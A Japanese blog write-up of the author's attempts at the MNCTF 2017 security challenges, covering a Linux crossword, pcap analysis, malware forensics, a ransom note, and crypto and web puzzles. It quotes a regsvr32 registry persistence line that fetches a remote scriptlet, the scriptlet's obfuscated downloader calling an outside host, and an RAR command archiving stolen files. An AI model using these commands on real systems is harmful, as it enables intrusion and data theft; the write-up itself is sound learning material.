先月MNCTFの存在を知り、2018年の問題を後追いでやってみたところ、とても勉強になったのと、過去問が全部公開されているということだったので、今度は2017年の問題を今更ながらやってみました。
2018年をやったときの記事はこちら。MNCTFの概要とか書いていました。
練習問題 ☆☆☆ MISC 1
問題
「MNCTF」がフラグとなります。
解答
MNCTF
一瞬どこに回答するか分からなかったけど、問題ページのトップに解答欄があった。
全部の問題の回答をここに投げるらしい。練習問題あってよかった。
昇進試験 ☆☆★ MISC 60
問題
情シス担当のてしがわら君はにしどの部長から、新聞に載っているクロスワードを渡されました。Linuxのコマンドのクロスワードを解いてください。 [クロスワード](http://mnctf.info/mnctf2017/task/cross/)
※クロスワード、のところがリンクになっていて、リンク先にクロスワードがあります。
解答
ヨコのカギ
2
# ***** 666 user-password.csv
これは chmod
4
# ****** 8 8: 2 2 2 # ****** 34 34: 2 17 # ****** 11 11:11
素因数分解するコマンドかな。 factor
7
# ****** 02:52:56 up 16:24, 2 users, load average: 0.45, 0.37, 0.39
知らなかった。load average でググったら出てきた。 uptime
タテのカギ
1
# ****** systemd┬ModemManager┬{gbus} │ └{gmain} ├NetworkManager┬2*[dhclient] │ ├{NetworkManager} ・・・
あれ、 tree
じゃないの?(6文字)
よく見てみると、ディレクトリやファイルじゃなくてプロセスっぽい名前が。
プロセスのtree表示コマンドというのがあるらしい。 pstree
2
# *** -3 -d 2020-07 -H 2020-07-24 カレンダーっぽいの
カレンダー表示するコマンド cal
3
# **** user-password1.csv user-password2.csv 4c4 < kenzo,ru5514 --- > kenzo,APThunter
その前のcat
コマンドで両ファイルが出力されており、その差分が表示されているので diff
5
# cat user-password.csv | ****** -s ',' -t name password teshigawara iloveseio yamazaki metalordie ...
これは知らなかった。入力を表形式に変換するコマンドがあるらしい。column
6
# *** 02:40:55 up 16:12, 2 users, load average: 0.20, 0.52, 0.46cu ~中略~ PID USER PR NI VIRT RES SHR S %CPU MEM TIME+ COMMAND 5626 root 20 0 25692 2940 2440 R 0,3 0.1 0:00.03 ***
これはよく使うやつ。top
全部埋めると、ひっそりと上の方にflagが出現。
通信記録 ☆☆★ NETWORK 80
問題
株式会社マクニキで基幹サーバが乗っ取られるという事件が発生しました。情シス担当のてしがわら君は侵入されたサーバのパケットキャプチャを見ていました。脆弱性を突かれて侵入されたようです。 パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。
パケットキャプチャがダウンロードできる。デカイ。
解答
ざーーっと眺めてみるが、なにせ大きすぎてどこを見たらよいかわからない・・・。
きっとなにかツールが有るはず、と早々に諦めてツール探しの旅に。
なんと、こちらのサイトでパケットキャプチャファイルを突っ込むと解析してくれるらしい。1年前の問題なので、きっとDB的には何かしら引っかかるに違いない。
投げてみると、こんな結果。
Win32:WannaCry-C [Tri]
というのが検出された。問題は、
突かれた脆弱性の名前を答えてください
とのことだが、WannaCryはマルウェア名。WannaCryの利用する脆弱性を調べると
このマルウェアは、Shadow Brokersにより2017年4月14日にリリースされたエクスプロイト (コードネーム「EternalBlue」) を利用します。
ということで、 EternalBlue
を入れてみると正解!
EternalBlueって超絶かっこいい。。。
不審起動☆★★ MALWARE 80
問題
情シスのてしがわら君の端末から不審なレジストリが見つかりました。このレジストリにより、不審なスクリプトが実行されるそうだが、そのスクリプトの通信先のFQDNを答えてください。 HKCU\Software\Microsoft\Windows\CurrentVersion\Run "COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"
解答
問題文にあるURLにアクセスしてみる。
https://pastebin.com/raw/8CUEUgix
すると、難読化された js
ファイルが出てくる。
javascript 難読化 解読、とかでググると、下記のようなサイトでオンライン解読できることがわかる。
Javascript Viewer, Beautifier and Formatter, Editor
DirtyMarkup Formatter - HTML, CSS, & JavaScript Beautifier
いやぁ、クライアント開発時に難読化してるかチェック項目も受けてたりするけど、こんなにカジュアルに解読できちゃうのね・・・。少なくともセキュリティ項目としてはあまり効果がないのかもしれない。
今回は1つ目のサイトを使って解読してみました。
<?XML version="1.0"?> <scriptlet> <registration progid="CLASS" classid="{F3011114-0000-0000-0000-4030F1ED1CDB}"> <script language="JScript"> < ![CDATA[ ~~ 中略 ~~ function is_ps_installed() { pspath = wshel[_0xd5bd('0x17')](_0xd5bd('0x18')); if (fso[_0xd5bd('0x19')](pspath)) { return pspath; } else { pspath = wshel[_0xd5bd('0x17')](_0xd5bd('0x1a')); if (fso[_0xd5bd('0x19')](pspath)) { return pspath; } } return null; } try { var i = 0x258; alert(i['\x74\x6f\x50\x72\x65\x63\x69\x73\x69\x6f\x6e'](0x1f40)); } catch (_0x801862) { try { url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74'; showexec = 0x0; wshel = new ActiveXObject(_0xd5bd('0x1b')); fso = new ActiveXObject(_0xd5bd('0x1c')); if (is_ps_installed() && is_dotnet_installed()) { wmi_create_process(pspath + _0xd5bd('0x1d') + url + '\x2f\x70\x31\x27\x29\x29', showexec); } } catch (_0x5babc9) {} } ]] > </script> </registration> </scriptlet>
最後の方に、
url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';
とurlっぽい変数を見つけたので、これをhex⇒文字列にdecode。
これもオンラインサービスでdecodeしました。
文字コード変換 WEBアプリケーション、フリーCGI配布 ---ahref.org
変換すると下記の文字列が。
https://mtip.macnica.net
ということで、このFQDN部分を回答すればOK。
脅迫文書 ☆☆★ MISC
問題
脅迫文書☆☆★ MISC 90 株式会社マクニキの外部向けのCSIRTチームのメーリングリストに脅迫文のようなメールが届きました。CSIRT唯一のメンバーであるてしがわら君は社長のいけだ君に相談すべきか、悩んでいます。 We had stolen all of your accounts of the Makuniki server and we will publish it. The only way to stop us, is to pay 1.00 BTC to 19cMxCa81RD9D6s5xTmELaXzM6xgy5hcSf. We uploaded a partial data to proof what we have. 攻撃者の言っていることが本当か、調査してください。
と、写真。
てしがわら君、唯一のCSIRTメンバーなんや。。。頑張れ・・・!
解答
とりあえず、メモにあるURLに手に入れた情報の一部をアップしているそうなので、確認しにアクセスを試みる。
http://nzxj65x32vh2fkhk.onion/phcgnxm6j/4xvucf
おお、.onion
アドレスだ!
下記、「スプラウト公式非公認ブログ ピンク・ハッカー」をワクワクしながら読んだものの、勇気がなくてまだ一度も接続したことがなかったのでした・・・。
そして思い出すhagexさん・・・。めっちゃ楽しみにしてたけど、もうこのブログも更新されないのかなぁ。
ということで、早速 Tor Browser を下記サイトからDL。
そう言えばちょうど一年前頃、全然別の目的で「IPアドレスを自由に変えてリクエストを投げられないか」と新人さんと話していたら、このTorを入れて社内で使おうとして、社内のセキュリティ部の人が飛んで来たというオモヒデがある・・・。
Tor Browserを立ち上げて、上記サイトにアクセスするとこんなのが表示された。
パスワードを求められたので、紙切れの下の方に書いてあった文字列を入れてみる。
と、入れた。こんなページが表示された。答えもここに書いてありました。
Torって知ってる?っていう趣旨の問題だったのかな。
ちなみに、解説では onion.to
にしてアクセスすると通常のブラウザからでもアクセスできるとあったので後でChromeでやってみたが、時間がめちゃくちゃかかったので中断。本当にアクセスできるかは見届けられなかった・・・。
攻撃痕跡☆☆★ FORENSICS 100
問題
株式会社マクニキでマルウェア感染事件が発生しました。導入したてのEDR(Endpoint Detection & Response、エンドポイント対策)ツールのログおよび、感染端末から押収した攻撃者が残したと思われるファイルがあります。迅速に対応したため、被害はないと情シスのこばやし君は思ったが、これらを解析し、盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。 ・EDRのログファイル ・攻撃者が残したファイル(パスワードは「infected」)
盗まれたファイルの中で最も重要と思われるファイルの名前
ふわっとした依頼だが、答えが出てくるんだろうか?
解答
攻撃者が残したファイル(artifact.zip)とログファイル(EDR_LOG.csv)を開いてみる。
artifact.zipの中身はこんな感じ。
$ file artifact/* Get-PassHashes.ps1: ASCII text, with very long lines GoogleUpdate.ba_: DOS batch file text, ASCII text, with CRLF line terminators GoogleUpdate.ex_: PE32 executable (console) Intel 80386, for MS Windows Update.dat: data jvm.dat: RAR archive data, flags: EncryptedBlockHeader jvm.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows networkprotocol.nls: data sam.hive: MS Windows registry file, NT/2000 or above sqlite.ex_: PE32 executable (console) Intel 80386, for MS Windows system.hive: MS Windows registry file, NT/2000 or above vcredist.ex_: PE32+ executable (console) x86-64, for MS Windows
実行ファイルは色々対策で拡張子の末尾がアンスコに変えてあるのかしら?
ログファイル(CSV)のほうは3.8MBもある。大きい。ログファイルのフォーマットは、
Time(UTC), HostName, UserName, Parent PID, PID, CommandLine, MD5
となっている。
jvm.dat
は上述の通りRARファイルらしいので、とりあえず解凍してみる。解凍できるものはとりあえず解凍!RARファイルをMacで解凍するために、unrar
をインストールしておく。
Mac で RAR 拡張子のファイルをコマンドラインから解凍する - unrar
$ unrar e jvm.dat UNRAR 5.60 freeware Copyright (c) 1993-2018 Alexander Roshal Enter password (will not be echoed) for jvm.dat: Checksum error in the encrypted file jvm.dat. Corrupt file or wrong password. No files to extract
のぉぉん、パスワードが必要なのね。でも一気にこのファイルアヤシイ感。
とりあえずとっかかりがわからないので、ログを確認。上から読んでいってもしょうがない量なので、まずは jvm.dat
で検索してみる。
"C:\Program Files (x86)\¥Tencent\¥RTXC\Plugins\bizmailclient\sqlite.exe" a -m5 -hpFnckyou123 "C:\Program Files (x86)\¥Java¥\jre7\¥bin¥\client¥\jvm.dat" c:¥users¥Administrator¥Desktop¥*.xlsx "C:\Program Files (x86)\¥Tencent\¥RTXC\Plugins\¥bizmailclient¥\sqlite.exe" a -m5 -hpFnckyou123 "C:\¥Program Files (x86)¥\Java¥\jre7¥\bin¥\client¥\jvm.dat" c:¥windows¥temp¥*.log
というログがあった。sqlite.exe
も jvm.dat
も配布されてたファイルだ。・・・割とありそうな名前なので、今回は付されたのと同じやつのことかはわからないけど。
なんかパスワードっぽいので hpFnckyou123
を入れてRAR解凍を試みるも違うらしい。 -hpFnckyou123
も pFnckyou123
も違うらしい・・・。詰んだ・・・。
ここで他の方のwrite-upを見てみる。
いろんなたどり着き方があるんだなぁと楽しく読んでいると、こんな解説を発見。
このコマンドラインを見ると -hp オプションの後に続けて何やら良からぬ文字列が続いています。 これは RAR の Hidden Password を付けるコマンドオプションだと気づけば、以下の点が判明するはずです。
おお。全く知らなかったよ。
ちなみに公式ページで確認したら、すごい階層深いところにあった。。。
WinRAR manual > Command line mode > Switches > "-hp[pwd]"
2文字分がoptionで、しかもスペース無しで値が来るとは思っても見なかった。ので、パスワードは Fnckyou123
。これで vm.dat を解凍すると
2017want.xlsx: Microsoft Excel 2007+ MpCmdRun.log: Little-endian UTF-16 Unicode text, with CRLF, CR line terminators MpSigStub.log: Little-endian UTF-16 Unicode text, with CRLF, CR line terminators serverpassword.xlsx: Microsoft Excel 2007+
4つファイルが出てきた。それぞれ中身を確認すると、
- 2017want.xlsx: なんかほしい物リストっぽい
- MpCmdRun.log: ログファイル。特に重要そうな情報なし
- MpSigStub.log: 同上
- serverpassword.xlsx: タイトルからしてヤバそう。host, user, passwordのセットが12個ほど。
ということで、serverpassword
を入れてみると、正解。
先程のwrite-up中に
なお、情報流出事案においては、攻撃者はファイル圧縮ツールとして RAR を多用することが知られているので、そこを考慮しつつ、アプローチを検討します。
とあった。これも知らんかった。そもそも普段の仕事・開発でRARに触れることが皆無。Windows使ってときは時々ゲームファイルとかRAR形式で置いてあった記憶。
RARコマンドはもう少し慣れておいたほうがセキュリティ周りでは良いのかもしれない。
賭博遊戯☆★★ WEB 100
問題
株式会社マクニキは多角経営の道を進むべく、カジノゲームの開発に着手していた。開発者も兼任していたてしがわら君は脆弱性に気づきつつも、強固な難読化を施し、脆弱性を隠ぺいしました。 難読化を解かずに、「所持金」が37337になるようにしてください。 ※表示上なっても正解とはなりません。 [ShinoCasino](http://mnctf.info/mnctf2017/task/shinocasino_ob2.html)
解答
リンクのサイトに飛ぶと、
持ち金:100 BTC 第1ゲーム サイコロの出目を当ててください。
という文章と、予想(選択式)、掛け金(選択式)のセレクトフィールドと、BETボタンが。
一旦遊んでみる。
こんな感じで、外れたら掛け金分引かれ、当たれば掛け金×5 がもらえるようです。
「勝て」とか「所持金を〇〇以上にせよ」ではないので、このまま遊び続けても条件を満たせる日は永遠に来ないでしょう・・・。
ということで、まずはソースを見てみます。難読化されているらしいけど。
Chromeだと、「表示 > 開発 / 管理 > ソースを表示」で出てきます。
<html> <head> <title>ShinoCasino</title> <script> var diceArray=[]; var _0xcddf=['\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x29','\x69\x74\x65\x6d','\x61\x74\x74\x72\x69\x62\x75\x74\x65','\x65\x76\x61\x6c','\x77\x68\x69\x6c\x65\x28\x74\x72\x75\x65\x29\x7b\x7d','\x5b\x4c\x43\x50\x55\x5a\x77\x6c\x41\x52\x70\x72\x4f\x61\x59\x6b\x61\x58\x7a\x4c\x6b\x4f\x49\x61\x64\x4b\x54\x5d','\x6d\x4c\x43\x50\x6e\x55\x5a\x63\x77\x6c\x41\x52\x70\x72\x74\x66\x2e\x4f\x61\x59\x6b\x61\x69\x58\x7a\x4c\x6b\x6e\x66\x6f\x4f\x49\x61\x64\x4b\x54','\x73\x70\x6c\x69\x74','\x66\x6f\x72\x45\x61\x63\x68','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72','\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73','\x66\x46\x67','\x6c\x65\x6e\x67\x74\x68','\x51\x48\x6d','\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74','\x4a\x7a\x43','\x7a\x54\x73','\x6a\x54\x57','\x61\x43\x68','\x31\x7c\x34\x7c\x33\x7c\x32\x7c\x30','\x69\x6e\x64\x65\x78\x4f\x66','\x6c\x45\x66','\x76\x4e\x72','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x54\x4f\x57','\x63\x6f\x6e\x73\x6f\x6c\x65','\x77\x61\x72\x6e','\x64\x65\x62\x75\x67','\x65\x72\x72\x6f\x72','\x74\x72\x61\x63\x65','\x69\x6e\x66\x6f','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x6c\x6f\x67','\x6d\x48\x6c','\x64\x65\x62\x75\x67\x67\x65\x72','\x75\x49\x50','\x5a\x75\x53','\x61\x70\x70\x6c\x79','\x49\x44\x79'];(function(_0x538a27,_0x2e540c){var _0x3116fb=function(_0x3f3a6c){while(--_0x3f3a6c){_0x538a27['\x70\x75\x73\x68'](_0x538a27['\x73\x68\x69\x66\x74']());}};var _0x4c271d=function(){var _0x556e1e={'\x64\x61\x74\x61':{'\x6b\x65\x79':'\x63\x6f\x6f\x6b\x69\x65','\x76\x61\x6c\x75\x65':'\x74\x69\x6d\x65\x6f\x75\x74'},'\x73\x65\x74\x43\x6f\x6f\x6b\x69\x65':function(_0x4b5a90,_0x1b1247,_0x1c6d85,_0x282c97){_0x282c97=_0x282c97||{};var _0x577fc8=_0x1b1247+'\x3d'+_0x1c6d85;var _0x33b6f7=0x0;for(var _0x33b6f7=0x0,_0x4fcedb=_0x4b5a90['\x6c\x65\x6e\x67\x74\x68'];_0x33b6f7<_0x4fcedb;_0x33b6f7++){var _0x57027c=_0x4b5a90[_0x33b6f7];_0x577fc8+='\x3b\x20'+_0x57027c;var _0xd66837=_0x4b5a90[_0x57027c];_0x4b5a90['\x70\x75\x73\x68'](_0xd66837);_0x4fcedb=_0x4b5a90['\x6c\x65\x6e\x67\x74\x68'];if(_0xd66837!==!![]) ...
ってな感じで、見事に難読化されたページが表示されました。
これを「難読化を解かずに」所持金を操作しないといけないんですね。
まずは、自分の持ち金をどこで管理しているのか探しました。クライアント上で管理されているならば、CookieやLocalCash, Sessionなんかにあるんじゃないかなーと。
Chromeだと、「表示 > 開発 / 管理 > デベロッパーツール > Application」の Storage、DB系を確認。
しかし特にLocalで持っていそうな情報は見当たらず。
そもそもページを更新するとまた1からになるので、SessionやDBなどは使っていないかな。
次に、開発者ツールのデバッグ機能を確認。「デベロッパーツール > Sources」
下記のように、debugポイントがたくさんはられているのか、ステップごとにdebuggerに飛ばされてなかなか解析までたどり着かない・・・。ので、右上の "Step over next function call" (もしくは f10 + fn)を連打して次が出るのを待つ。
ソースコードが出てきたら、topの方に var diceArray=[];
という変数があり、そのlocal値をマウスオンすると参照できる。こんな感じ。
これで、この回のサイコロの出目がわかる。この出目を参考にやってみたら、勝ち続けることはできた。
ただ、37337
に近づくにはこんなちまちました掛け金では何回やったら良いのよ!状態。根性でできなくはなさそうだけど。diceが100しか用意されていないということは、100回で終わりなのかな?また0に戻ってくる可能性もあるけど。
他の変数配列の中に、「これでゲームは終わりです」的な文言も見えたので、終わるのかなぁ。
もうこれは所持金を直接操作するしか無い、ということで、Storageを使っていないならプログラムに変数で現在の所持金を持っているだろうと当たりをつける。
先程のデバッグ機能で、local変数を表示させてバーっとみていくと、あった!現在の所持金を保持しているらしき変数 money
を発見。
つぎにBetして負けた時に、ちょうど 37337
になるように値を設定して、あとは負ける目を選んで、BET! すると、フラグが出てきました!
宛先暗号☆★★ CRYPTO 100
問題
株式会社マクニキのある端末で不審な実行ファイルが検出されました。外部と通信するようなのですが、通信先は記録されていません。てしがわら君はその痕跡のファイルを入手したので、ブロックするためにマルウェアの通信先のFQDNを特定してください。 ファイルをダウンロード svchost.exe(マルウェア本体) vm.dat(マルウェアと同じディレクトリにあったファイル) EDR_log.csv(エンドポイント対策のログ) ヒント)svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。
解答
問題文にある3つのファイルがDLしたzipに入っている。
出題範囲がCryptoなので、何かしら暗号関連の問題のようだ。
まずはlogを確認してみる。
Time (UTC) Host Name User Name File Name PID Command Line MD5 Parent PID 06/29/2017 09:57:03.316 TESHIGA-PC LOCAL SYSTEM googleupdate.exe 372 "C:¥Program Files¥Google¥Update¥GoogleUpdate.exe" /svc dd7423abbe2913e70d50e9318ad57ee4 644 06/29/2017 09:56:46.266 TESHIGA-PC LOCAL SYSTEM googleupdate.exe 5652 "C:¥Program Files¥Google¥Update¥GoogleUpdate.exe" /ua /installsource scheduler dd7423abbe2913e70d50e9318ad57ee4 5228 06/29/2017 09:56:46.034 TESHIGA-PC LOCAL SYSTEM taskeng.exe 5228 taskeng.exe {88BFCD29-2446-404F-B951-2F944CE1CCCB} S-1-5-18:NT AUTHORITY¥System:Service: 4f2659160afcca990305816946f69407 1156 06/29/2017 09:46:43.304 TESHIGA-PC tessy imedictupdateui.exe 3748 "C:¥Program Files¥Common Files¥Microsoft Shared¥IME14¥SHARED¥imedictupdateui.exe" "check" 1ad7878f3029fb359c8b47ae3444d0d2 2908 ・・・
こんな感じ。全部で870行ある。
File Name が svchost.exe
のものをピックアップしてみると、User Nameが LOCAL SYSTEM
, NETWORK SERVICE
, tessy
のものがあることがわかる。
問題文のヒント svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。 というのと、このログを突き合わせると、 tessy
の実行したコマンドが、どうやらexeファイルを動作させるコマンドのようだ。
tessy = てしがわら君?
svchost.exe abcd vm.dat
ここで、windowsならこのコマンド試してみて、wiresharkかなんかで通信見張っていれば取れる気がするなぁ。。。2018の問題もそういうの多かったよなぁ。。。
今回はlessで実行ファイルの中身見てもurlっぽい文字列無かったしなぁ。。。
なんて思っていたが、この際、夫のwindowsPCも動員してしまえ!と思いたち、やっと重い腰を上げて夫のノートPCを借りて使うことにした。
CTFってwindows環境(VM含め)必須なんだろうか?windows環境無しで戦ってる人っているのだろうか・・・?
ということで、winPCにWireSharkをいそいそとセットアップして、コマンドプロンプト立ち上げて上記のコマンドを打ってみる。
・・・
しーーーん・・・・
・・・
何も出てこないぞ?
人のPCだし、なんかFWかなんかに引っかかってるのかな?そもそも何か実行するための環境が足りてないのかな?WireShark側のセットアップが足りてない?
と色々可能性を考えたものの、winスキル+WireSharkスキルが低すぎて分からず・・・。
無念。
気を取り直して「vm.dat使わなかったらどうなるん?」と素直にコマンドプロンプトで
svchost.exe
のみ実行してみる。すると
Must specify <RC4 key> <file>!
と怒られた。なんて親切!
ということは、key: abcd
で file: vm.dat
がRC4で暗号化されていると考えられる。
vm.datをRC4で復号してみる。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from Crypto.Cipher import ARC4 key = 'abcd' with open('vm.dat', 'rb') as f: data = f.read() cipher = ARC4.new(key) dec = cipher.decrypt(data) print(dec)
実行結果
$ python rc4_decode.py b'shinobot.com\n'
お、なんかめっちゃFQDNっぽいの出てきた!
こっちの解法のほうが Crypto
っぽいし、結果オーライ!
しかし、今後に備えてWireSharkスキルを上げたい & WinPC側もセットアップしていきたい・・・。
情報照合☆★★ PROGRAMMING 100
問題
株式会社マクニキにて、マルウェアに感染している端末が見つかりました。契約したばかりのThreat Intelligence(脅威情報)サービス「MiNTEL」を活用することにしました。ファイルのハッシュ値を送るとマルウェア判定をしてくれるAPIベースのサービスなので、てしがわら君は感染端末にあるファイルのハッシュを取得し、APIを利用して、照合しようとしています。 てしがわら君の代わりにハッシュをAPIで照合し、「RAT.A.aa74e」と判定されるハッシュを見つけてください。 [ハッシュリスト](http://mnctf.info/mnctf2017/task/minhashlist.txt) [MiNTEL API リファレンス(英語)](http://mnctf.info/mnctf2017/task/MiNTEL_API_Reference.pdf) なお、API KEYは「578459***」です。
解答
問題文の「ハッシュリスト」のリンク先にはこのようなハッシュ値のリストが。
minhashlist.txt
dfa134b71ed7a89a4ac2f03325c096 82800319df0799b38d5eec4d915fc7 cbcb642557766fb8803ae7ce28e377 2169cdf2e557bbba139790bd1ddfa1 20aec25af4301a3816d9a4acba5c96 f63db975efe635c2b99a542759f649 5bd8da91f02b97e8448fe02f3b1efb 8e490b957ae9672963f1498180e26f ・・・
1000行あった。
MiNTEL API リファレンスの先には、MiNHASHの仕様書が落ちていた(PDF)。
どうやらHashの計算はオンラインのAPIで公開されているらしい。
ということで、ただただ仕様書を読んで、hashのlistの中から条件に合うhashを探すプログラムを書く。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import json gt_url = 'http://157.7.53.197/intel/gettoken/' qy_url = 'http://157.7.53.197/intel/query/' api_key = '578459a***' minhashlist = [] with open('minhashlist.txt', 'r') as f: for line in f: minhashlist.append(line.split('\n')[0]) ### get token headers = {'Content-Type': 'application/x-www-form-urlencoded'} payload = 'key=' + api_key res = requests.post(gt_url, headers=headers, data=payload).json() token = res['token'] print(token) ### check minhash headers['X-TOKEN'] = token for h in minhashlist: print(h) payload = 'hash=' + h res = requests.post(qy_url, headers=headers, data=payload).json() if res['detection_name'] == 'RAT.A.aa74e': print('MATCHED!!! hash: ' + h) break
んで回してみると、どーにもこーにもサーバーからの応答速度が遅い!!1判定に1秒くらいかかっている。
これではいかん、ということでマルチスレッド化することに。
※ 1スレッドでぶん回しても1000秒 = 20分かからない計算なので、マルチスレッド化するのと追加実装、どっちが早いか微妙なとこではある。
まずは、処理するファイルを予め分割しておく。今回は50行ごとに分割。
$ split -l 50 minhashlist.txt minhashlist. $ ls minhashlist.aa minhashlist.ae minhashlist.ai minhashlist.am minhashlist.aq minhashlist.ab minhashlist.af minhashlist.aj minhashlist.an minhashlist.ar minhashlist.ac minhashlist.ag minhashlist.ak minhashlist.ao minhashlist.as minhashlist.ad minhashlist.ah minhashlist.al minhashlist.ap minhashlist.at minhashlist.txt
minhashlist.aa ~ minhashlist.at までできた。
あとは上のコードをマルチスレッド化。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import json import threading import string gt_url = 'http://157.7.53.197/intel/gettoken/' qy_url = 'http://157.7.53.197/intel/query/' api_key = '578459a***' thread_num = 1000 // 50 alphabet = list(string.ascii_lowercase) def check_minhash(file_name, token): ### read hash file minhashlist = [] with open(file_name, 'r') as f: for line in f: minhashlist.append(line.split('\n')[0]) ### check minhash headers['X-TOKEN'] = token for h in minhashlist: print(h) payload = 'hash=' + h res = requests.post(qy_url, headers=headers, data=payload).json() if res['detection_name'] == 'RAT.A.aa74e': print('MATCHED!!! hash: ' + h) break ########## ## main ## ########## ### get token headers = {'Content-Type': 'application/x-www-form-urlencoded'} payload = 'key=' + api_key res = requests.post(gt_url, headers=headers, data=payload).json() token = res['token'] print(token) ### check_minhash with threads threads = [] for t in range(thread_num): file_name = 'minhashlist.a' + alphabet[t] threads.append(threading.Thread(target=check_minhash, args=(file_name, token,))) threads[t].start()
男らしくエラー処理一切なし、決め打ち部分も多いけど、今回使えればOK!ということでこんな感じ。 実行してみると、5分かからずに出てきた!
MATCHED!!! hash: eef6b47cc2c1fbfbdbcb90f6376416
脆弱会話★★★ EXPLOIT 100
は、問題文を読むに苦手&あまり興味がないジャンルだったのでパス。
まとめ
感想
2018年と違って続き物がなかったので、途中で詰まっても他の問題に手がつけられるのが良かった。ただ、どの問題もそれなりに手応えがあったので、サクサク解ける感じでは無かった。
今の自分にちょうどよい難易度で、大変勉強になった。他の方のwrite-upももう少し読み込みたい。特に WireShark 使い倒して解いてるやつとか。
使えるオンラインサービスたち
- 疑わしいファイルや URL を分析するオンラインサービス。パケットキャプチャファイルにも対応。
- JSやHTMLの整形・unpack・難読化解除のオンラインサービス
- 文字コード変換オンラインサービス
文字コード変換 WEBアプリケーション、フリーCGI配布 ---ahref.org